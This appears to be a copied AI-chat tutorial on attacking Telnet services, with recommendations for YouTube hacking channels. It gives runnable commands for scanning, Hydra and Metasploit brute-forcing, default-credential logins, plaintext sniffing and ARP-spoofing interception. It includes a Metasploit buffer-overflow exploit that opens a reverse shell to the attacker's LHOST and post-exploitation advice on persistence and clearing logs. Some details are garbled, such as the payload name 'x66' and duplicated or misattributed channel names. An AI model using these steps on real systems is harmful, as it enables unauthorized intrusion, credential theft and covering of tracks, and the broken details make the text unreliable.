Telnet Exploitation Overview

1. Discover Telnet Service

- Use **Nmap**:

bash

CopyEdit

nmap -p 23 <target-ip>

nmap -sV <target-ip>

- Or banner-grab via **Netcat**:

bash

CopyEdit

nc -nv <target-ip> 23

→ Reveals server version.

---

2. Check for Passwordless or Default Logins

- Simply run:

bash

CopyEdit

telnet <target-ip>

Try logging in without password or with common creds like **admin:admin**, **root:root**.

---

3. Brute-Force Credentials

- **Hydra**:

bash

CopyEdit

hydra -L users.txt -P passwords.txt telnet://<target-ip>

- **Nmap script**:

bash

CopyEdit

nmap -p 23 --script telnet-brute <target-ip>

- **Metasploit**:

bash

CopyEdit

use auxiliary/scanner/telnet/telnet_login

set RHOSTS <ip>

set USER_FILE users.txt

set PASS_FILE passwords.txt

exploit

---

4. Sniff Telnet Traffic (MitM)

Since Telnet is in **plaintext**, you can capture everything:

bash

CopyEdit

wireshark -Y telnet

→ See usernames, passwords, commands live
youtube.com+14hackingarticles.in+14hackviser.com+14hackviser.com

---

5. Gain Access & Post-Exploit

Once logged in:

- Run system commands (whoami, uname -a)
- Extract sensitive info (cat /etc/passwd)
- Potentially pivot to other systems
- Maintain persistence or clear logs

---

6. Optional: Use Exploits

Older Telnet daemons might have known **buffer overflow** or **command injection** vulnerabilities. Search on Exploit-DB using the Telnet version from banners labex.io

---

✅ **Step-by-Step Tools Summary**

Tool / Command	Purpose
telnet <ip>	Direct connection to test login
nmap -sV + nc	Identify Telnet service/version
hydra, nmap telnet-brute, Metasploit	Automated brute-forcing

Tool / Command	Purpose
wireshark	Sniff Telnet credentials in plaintext
Exploit-DB / Metasploit	Leverage known service vulnerabilities

Indepth Understanding

Telnet Tool and Exploitation in Systems: How to Do That

As discussed, Telnet's primary vulnerability is its lack of encryption, leading to plaintext data transmission. Exploitation often centers around this and other misconfigurations or outdated software flaws.

Key Exploitation Techniques:

1. **Passive Sniffing (Eavesdropping):**
    - **Concept:** This is the most direct and common way to exploit Telnet. Since all data (including usernames and passwords) is sent in plaintext, an attacker on the same network segment can easily capture and read it.
    - **How to do it:**
        - **Tools:** Wireshark, tcpdump.
        - **Process:**
            1. Gain access to the target network (e.g., through a vulnerable Wi-Fi network, a compromised internal host, or by being physically present).
            2. Launch Wireshark (or tcpdump on Linux).
            3. Set a display filter for telnet (in Wireshark) or filter for port 23 (in tcpdump).
            4. Wait for legitimate users to log in via Telnet. Their usernames, passwords, and all subsequent commands/output will be immediately visible in the captured packets.
    - **Impact:** Full compromise of user accounts and potentially the remote system.
2. **Brute-Force and Dictionary Attacks:**
    - **Concept:** Attempting to guess usernames and passwords by trying a large list of common combinations (dictionary attack) or systematically trying all possible combinations (brute-force, less common for passwords due to time).
    - **How to do it:**
        - **Tools:** Hydra, Metasploit (auxiliary/scanner/telnet/telnet_login).
        - **Process:**

1. Gather a list of potential usernames (e.g., from public sources, enumeration, social engineering).
2. Gather a list of common passwords or generate a custom dictionary.
3. Configure the tool (e.g., Hydra) with the target IP, port 23, and the username/password lists.
4. Launch the attack and wait for a successful login.

- **Hydra Example:**

Bash

hydra -L users.txt -P passwords.txt telnet://<target-ip>

- **Metasploit Example:**
- msfconsole
- use auxiliary/scanner/telnet/telnet_login
- set RHOSTS <target-ip>
- set USER_FILE /path/to/user.txt
- set PASS_FILE /path/to/pass.txt
- exploit

- **Impact:** Gaining unauthorized access to a user account on the remote system.

3. **Exploiting Default Credentials/Passwordless Access:**
   - **Concept:** Many legacy devices (routers, IoT, network printers) or poorly configured systems come with default usernames and passwords (e.g., admin:admin, root:password). Some might even allow anonymous or passwordless logins.
   - **How to do it:**
     - **Tools:** Basic telnet client.
     - **Process:**
       1. Connect using telnet <target-ip> 23.
       2. Try common default credentials (e.g., admin, root, user, guest as username, and the same or blank for password).
       3. For passwordless access, enter a username and simply press Enter when prompted for a password.
   - **Impact:** Immediate unauthorized access. This is often the "low-hanging fruit" an ethical hacker looks for first.
4. **Software Vulnerabilities (CVEs and Exploits):**

- **Concept:** Telnet server implementations (e.g., telnetd on Linux, Microsoft Telnet Server) can have bugs (buffer overflows, command injection flaws) that allow for more severe attacks like Remote Code Execution (RCE) or privilege escalation.
- **How to do it:**
    - **Tools:** Nmap (-sV to identify version), Metasploit (exploit modules), search engines (for CVEs).
    - **Process:**
        1. Use Nmap to identify the exact Telnet server software and its version.
        2. Search public vulnerability databases (CVE, Exploit-DB) for known vulnerabilities (CVEs) associated with that specific version.
        3. If an exploit (e.g., a Metasploit module or a Python script) exists, attempt to leverage it.
    - **Example:** A recent example (CVE-2024-40891) for Zyxel devices highlights authenticated command injection via Telnet. While authenticated, it often relies on easily guessed default credentials. Another example is the old telnetd buffer overflow (CVE-2020-10188) which could allow unauthenticated RCE.
    - **Metasploit Example (Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow):**
    - msfconsole
    - use exploit/linux/telnet/telnet_encrypt_keyid
    - set RHOSTS <target-ip>
    - set LHOST <your-kali-ip>
    - set PAYLOAD linux/x66/shell_reverse_tcp
    - exploit
- **Impact:** Remote Code Execution (gaining a shell), denial of service, information disclosure.

5. **Man-in-the-Middle (MitM) Attacks (Active Sniffing/Spoofing):**
    - **Concept:** While passive sniffing is about listening, MitM is about actively intercepting and potentially manipulating communication. For Telnet, this usually involves ARP spoofing on a local network to redirect traffic through the attacker's machine.
    - **How to do it:**
        - **Tools:** arpspoof (part of dsniff suite), Wireshark, Ettercap.
        - **Process:**
            1. Identify the target client and server IPs.

2. Use arpspoof to send forged ARP replies, telling the client that the attacker is the gateway (or server) and telling the gateway (or server) that the attacker is the client.
3. Enable IP forwarding on the attacker's machine so traffic continues to flow.
4. Use Wireshark to capture the now-intercepted plaintext Telnet traffic.

- **Impact:** Same as passive sniffing, but the attacker has more control over the network flow and can potentially inject commands or modify responses, although this is more complex for direct Telnet exploitation.

Recommendations for YouTube Videos:

When looking for YouTube videos, focus on ethical hacking or penetration testing channels. While direct Telnet exploitation videos might be older due to its deprecation, the principles of port scanning, banner grabbing, brute-forcing, and sniffing are universally applicable.

Here are some types of videos to search for, with examples of channels that might cover such topics:

1. **Nmap Scanning & Service Enumeration:**
   - Search: "Nmap port scanning telnet," "Nmap service detection."
   - **Channels:** Black Hills Information Security, Null Byte (The Hacker News), TryHackMe, John Hammond.
   - *Why:* These videos will teach you how to identify if Telnet is open and gather initial information about the server.
2. **Wireshark for Packet Analysis/Sniffing:**
   - Search: "Wireshark telnet sniffing," "Wireshark capture credentials."
   - **Channels:** David Bombal, NetworkChuck, The Cyber Mentor (TCM Security), freeCodeCamp.org.
   - *Why:* This is crucial for demonstrating the plaintext nature of Telnet and capturing credentials. Look for videos specifically showing how to set display filters and analyze captured data. David Bombal has a video titled "Never use Telnet" which effectively demonstrates the sniffing aspect.
3. **Hydra Brute-Force Attacks:**
   - Search: "Hydra telnet brute force," "Hydra password cracking tutorial."
   - **Channels:** Hackersploit, The Cyber Mentor, Cyber Mentor.
   - *Why:* These will show you how to use Hydra to automate login attempts against Telnet.
4. **Metasploit Basics and Exploitation:**
   - Search: "Metasploit telnet login," "Metasploit RCE exploit tutorial."

- **Channels:** Hackersploit, The Cyber Mentor, John Hammond, Ippsec (for specific machine walkthroughs that might feature Telnet).
- *Why:* Metasploit integrates many of these attacks into easy-to-use modules, including brute-forcing and sometimes specific RCE exploits if they're available.

5. **Ethical Hacking/Penetration Testing Full Courses/Playlists:**
    - Search: "Ethical hacking full course," "Penetration testing tutorial."
    - **Channels:** TCM Security (Practical Ethical Hacking), freeCodeCamp.org (often hosts full courses), David Bombal.
    - *Why:* These comprehensive courses will cover reconnaissance, scanning, and exploitation, and will inevitably touch upon Telnet as an insecure legacy protocol. Look for modules on "Initial Access" or "Service Exploitation."